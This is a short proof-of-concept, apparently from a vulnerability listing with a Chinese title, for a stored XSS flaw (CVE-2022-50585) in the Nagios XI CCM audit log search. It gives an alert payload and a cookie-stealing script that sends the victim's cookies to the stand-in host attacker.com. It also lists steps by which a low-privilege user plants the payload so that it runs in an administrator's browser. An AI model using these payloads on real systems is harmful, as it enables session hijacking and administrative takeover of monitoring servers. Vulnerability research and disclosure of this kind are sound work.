Nagios XI CCM 审计日志页面搜索功能存在XSS跨站脚本漏洞

<!-- CVE-2022-50585 XSS PoC - Nagios XI CCM Audit Log Search --> <!-- This PoC demonstrates the XSS vulnerability in Nagios XI CCM --> <!-- Step 1: Inject XSS payload into the Audit Log search input --> <!-- Payload: <script>alert('XSS')</script> or more sophisticated --> <!-- Basic XSS PoC payload --> <script>alert(document.domain)</script> <!-- Cookie stealing payload (for educational purposes) --> <script>new Image().src='http://attacker.com/steal?c='+document.cookie</script> <!-- Simulated attack scenario --> <!-- 1. Attacker logs into Nagios XI with low-privilege account 2. Navigate to: CCM -> Tools -> Audit Log 3. In the search box, enter the XSS payload 4. Submit the search (payload gets stored) 5. When admin views the Audit Log, XSS executes 6. Attacker can steal session cookies or perform actions as admin */